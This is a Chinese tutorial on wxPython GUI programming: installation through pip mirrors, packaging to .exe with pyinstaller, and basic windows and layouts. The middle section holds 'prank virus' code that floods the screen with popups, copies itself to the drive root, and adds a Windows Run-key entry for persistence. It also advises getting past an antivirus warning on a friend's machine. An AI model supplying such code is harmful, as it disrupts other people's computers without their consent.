全文目录
wxPython 图形用户界面
Python 中的图形用户界面(Graphical User Interfa GUI)开发库有很多,较为突出有:Tkinter 、PyQt 和 wxPython。 推荐大家使用wxPython 开发图形用户界面。
- 1、Tkinter 是 Python 官方提供的图形用户界面开发库,用于封装Tk GUI工具包,跨平台。但是 Tkinter 工具包所含的控件较少,帮助文档不健全,不便于我们开发复杂的图形用户界面。
- 2、PyQt 是非Python官方提供的图形用户界面开发库,用于封装Qt 工具包,跨平台若想使用PyQt 工具包,则需要额外安装软件包。
- 3、wxPython 是非Python官方提供的图形用户界面开发库,也跨平台。他提供了丰富的控件,可用于开发复杂的图形用户界面。它的工具包帮助文档很完善,案例也很丰富。
下载地址:https://www.wxpython.org/pages/downloads/
wxPython 是非官方库,需要对其额外安装,使用Python 的 pip
指令安装,pip 是Python提供的包(库)管理工具 ,可以对第三方库进行安装、卸载等操作。
安装指令:pip install wxpython
PyCharm 中安装 wxPython库
依次点击【File 】-【Settings】- 【Project :Python projectD】-【Project Interpreter】进入如下界面。
国内源
- 清华:https://pypi.tuna.tsinghua.edu.cn/simple
- 阿里:http://mirrors.aliyun.com/pypi/simple/
- 豆瓣:http://pypi.douban.com/simple/
- 华中理工大学:http://pypi.hustunique.com/
- 山东理工大学:http://pypi.sdutlinux.org/
- 中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/
根据文末的参考资料第二篇文章中更换国内镜像成功安装 wxpython,更换源可能你会遇到多次安装超时的错误报错。
报错一:pip._vendor.urllib3.exceptions.ReadTimeoutError:TTPSConnectionPool(host='pypi.tuna.tsinghua.edu.cn
如果没有更换国内源,重复安装试试!
报错二:
error: Microsoft Visual C++ 14.0 is required. Get it with "Build Tools for Visual Studio": https://visualstudio.microsoft.com/downloads/
针对以上错误,一种解决方案是安装 Visual Studio2015。但是,这需要几个GB的磁盘空间。另外一种解决方法是安装预编译的二进制文件。该网页http://www.lfd.uci.edu/~gohlke/pythonlibs (镜)包含预编译的二进制许多Python包。
GIF演示 PyCharm 中添加 wxpython 库:
最终解决办法参考>>点击这里 << , 添加wxpython第三方包
1、中端Terminal 输入以下命令:
python.exe -m pip install 模块名称 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
2、模块名称 = wxpython
3、国内源:http://pypi.douban.com/simple
PyCharm中将程序打包成 .exe 可执行文件
1、GIF演示PyCharm 中添加pyinstaller库
2、在 PyCharm 的 Terminal 终端输入如下命令:
pyinstaller -F *****.py
pyinstaller -F -w *****.py
(-w就是取消dos窗口)
pyinstaller -F -w --icon=p.ico Random_.py
(–icon=p.ico , p.ico为图标的文件名,与【dist】目录为同一个保存路径)
命令相关参数如下:
- icon=图标路径(pyinstaller -F --icon=my.ico XXXX.py)
- -F 打包成一个 exe 文件
- -w 使用窗口, 无控制台
- -c 使用控制台, 无窗口
- -D 创建一个目录, 里面包含 exe 以及其他一些依赖性文件
3、最后,在项目的【 dist】 目录下可以找到生成了 exe 文件。
补充: .exe 文件本质是将 Python 解释器和程序打包到了一起, 这样我们执行程序时就不用管 Windows 系统是不是有 Python 解释器。
2021/08/13 Debug 记录:
【小技巧】pycharm 安装pyinstaller 库生成.exe文件时,提示“ pyinstaller 不是内部或外部命令……”
参考资料
- [1] 【博客园】wxPython的安装(Windows)
- [2] 【推荐】PyCharm中关于安装第三方包的问题,给你三个建议。
- [3] Pycharm+Python之wxPython安装教程
- [4] 【推荐】pyCharm中将 python 程序打包成 exe 文件
- [4] 【B站-鱼C-小师妹】给上铺兄弟来点"病毒"【Python恶搞程序】
# 安装方法 清华镜像
# python -m pip install xxx -i https://pypi.tuna.tsinghua.edu.cn/simple
#依赖库
from wx import *
from _thread import start_new_thread #创建线程
from time import sleep
i = 2 #创建变量,本地变量
app = App() #事件
app.MainLoop()
#创建奇偶判断函数
def xsmVirus():
global i #声明 i 全局变量
i += 1 #奇偶切换
if i%2 == 0:#偶数
MessageBox("是否重启?","警告",OK | ICON_WARNING)#方框显示消息内容,方框标题,按钮,
else:
MessageBox("系统已崩溃!","严重错误",OK | ICON_ERROR)
while True:
#调用函数
#xsmVirus()
start_new_thread(xsmVirus,())
sleep(0.4)
2020/12/07更新: Python无限弹窗, Windows开机启动,打包为exe程序
import tkinter as tk
import random,threading,win32api,win32con, shutil,os,sys
def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。
if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe'): #看当前分区下有没有
shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe') # 移动文件
class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》
def __init__(self):
name = 'lalalulala' # 要添加的项值名称
path = os.path.abspath(sys.argv[0])[0] + ':\\ARE_YOU_OKAY.exe' # 要添加的exe路径
KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
win32api.RegCloseKey(key)
def Play(): #展示的效果
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(20, width)
b = random.randrange(20, height)
window.title('给你看个小病毒')
window.geometry("400x100" + "+" + str(a) + "+" + str(b))
tk.Label(window,
text='你吃饭了吗?', # 标签的文字
bg='Red', # 背景颜色
font=('楷体', 17), # 字体和字体大小
width=466, height=4 # 标签长宽
).pack() # 固定窗口位置
window.mainloop()
threads = []
if __name__=="__main__": # 程序入口 相当于C/C++ 的 mani()
Mymovefile()
AutoRun()
for i in range(1000): #依电脑性能调值大;千万不要 while True:
t = threading.Thread(target=Play)
t.start()
-
[1] 如何简单地理解Python中的
if __name__ == "__main__"
-
[2] python中的模块、库、包有什么区别?
lib 、package 、 module
从大到小的层级关系:库->包->模块
-
[3] pycharm 中安装pypiwin32
python.exe -m pip install pypiwin32 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
wxPython的statictext简介:wxpython之StaticText介绍
wxPython 的使用
第一个wxPython 程序
图形用户界面主要是由窗口 和 窗口中的控件 构成,编写wxpython 程序其实主要是创建窗口和添加控件的过程。
若要构建一个最简单的wxpython 程序,则至少需要一个应用(wx.App
)对象和一个窗口(wx.Frame
)对象。
示例代码如下:
import wx
# 创建应用程序对象
app = wx.App()
# 创建窗口对象
frm = wx.Frame(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
# 显示窗口
frm.Show()
# 进入主事件循环
app.MainLoop()
主事件循环 是一种时间或消息分发处理机制,大部分图形用户界面在界面中的显示及相应用户事件的处理都是通过主事件循环实现的。
在 PyCharm 中 通过Run
运行程序,输出结果,弹出窗口效果如下:
自定义窗口类
import wx
# 自定义窗口类MyFrame
class MyFrame(wx.Frame):
def __int__(self):
super().__int__(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
#你的代码
# 创建应用程序对象
app = wx.App()
# 创建窗口对象
frm = wx.Frame()
# 显示窗口
frm.Show()
# 进入主事件循环
app.MainLoop()
在窗口中添加控件
在窗口中添加两个控件:一个面板(Panel
) 和 一个静态文本(Static Text
)。面板是一个没有标题的容器(可以容纳其他控件的控件)。
示例中,面板被放在了窗口中,而静态文本对象被放在了面板中。其实,控件也可以直接放在窗口中,但是直接把控件放到窗口中在布局的时候会有很多问题,所以推荐将控件放置在面板中方便后期布局。
注意:在练习自定义窗口类的时候,运行程序,无报错,也不弹出窗口。
最后找到解决办法了,在My_Frame 类中修改 def __init__(self, *args, **kw)
函数内的参数:
class MyFrame(wx.Frame):
def __init__(self, *args, **kw):
super(MyFrame, self).__init__(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
不创建窗口类,添加面板和静态文本的时候,运行成功,示例代码如下:
import wx
# 创建应用程序对象
app = wx.App()
# 创建窗口对象
frm = wx.Frame(None, title="第一个 wxPython 程序!", size=(400, 300), pos=(100, 100))
panel = wx.Panel(parent=frm)
statictext = wx.StaticText(parent=panel, label='Hello ,World!', pos=(10, 10))
# 显示窗口
frm.Show()
# 进入主事件循环
app.MainLoop()
在 PyCharm 中 通过Run
运行程序,输出结果,弹出窗口效果如下:
事件处理
布局管理
绝对布局让窗口面板中的控件的位置和大小没有随着窗口的变化而变化。
wxpython 提供了布局管理器类帮助实现界面布局,主要分为:盒子布局管理器 和 网络布局管理器。盒子布局雷士与 CSS 中的弹性布局,非常灵活。
下面详细地介绍一下,盒子布局管理器的使用。
盒子布局管理器类是 wx.BoxSizer
,Box 布局管理器 是最常用的布局管理器,它可以让其中的子窗口(或控件)沿垂直或水平方向布局。
设置为水平方向布局:
wx.BoxSizer(wx.HORIZONTAL)
设置为垂直方向布局:
wx.BoxSizer(wx.VERTICAL)
其中,wx.HORIZONTAL是默认值,可以省略。
添加子窗口到父窗口 :
Add (window, proportion=0 ,flag=0, border=0)
添加到父窗口:
Add (sizer, proportion=0 ,flag=0, border=0)
参数说明:
- proportion 参数:用于设置当前子窗口(或控件)在父窗口中所占的比例。
- flag 参数:是布局的标志,用来控制对齐方式、边框和调整尺寸(非常重要,对应的具体参数设置百度)
- border 参数:用于设置边框的宽度 (也就是控件距离窗口上端或者下端之间的距离)
控件
1、文本输入控件
2、复选框和单选框按钮控件
3、列表
4、静态图片控件
如何使用wxPython 官方文档
1、打开wxPython 官网页面 ,选择 Documentation 菜单中的 API Reference 。
2、打开官方API帮助文档。 可以在左边的搜索框内查找内容。
3、打开帮助文档。>>Button控件的官方使用说明<<
程序下载
- [1] 【GitHub】 | wxPython 图形用户界面(GUI) 随机点名小程序(2021.10.10 pm 22.45)
- [2] 【CSDN 】| wxPython 图形用户界面(GUI) 随机点名小程序(2022.10.08 am 10:56)
效果如下:
注意:列表越界报错 IndexError: list index out of range
参考资料
- [1] 《看漫画学Python :有趣、有料、好玩、好用 》第13章 图形用户界面
- [2] Welcome to wxPython ! 官网文档
- [3]易百教程:wxPython 教程之 StaticText 静态文本类 And wxPython各种控件用法官方手册
- [4] 如何才能干净地退出wxPython应用程序?
# frame.Close()
def Stop_Click(self, event):
self.Close() #退出程序